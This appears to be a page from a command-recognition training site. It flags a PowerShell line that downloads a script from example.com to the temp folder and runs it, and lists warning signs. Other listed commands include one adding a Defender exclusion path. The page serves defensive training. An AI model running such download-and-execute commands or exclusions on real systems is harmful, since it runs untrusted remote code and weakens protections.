Dangerous
Invoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1windows · powershell · Expert
Downloads a script to the temp directory and then invokes it with the call operator. Splitting fetch and run across two statements avoids the obvious one-liner shape, but the outcome is identical to piping a download into a shell.
Signals to notice
- Downloaded script executed immediately
- Call operator runs the fetched file
- Temp directory used to avoid attention
Think you can spot these under time pressure?
Start TrainingMore PowerShell
Get-WinEvent -LogName Security -MaxEvents 50ExpertAdd-MpPreference -ExclusionPath C:\Users\PublicExpertGet-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpertGet-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmareGet-ExecutionPolicy -ListIntermediateGet-Alias iex, irm, iwr | Select-Object Name, DefinitionAdvanced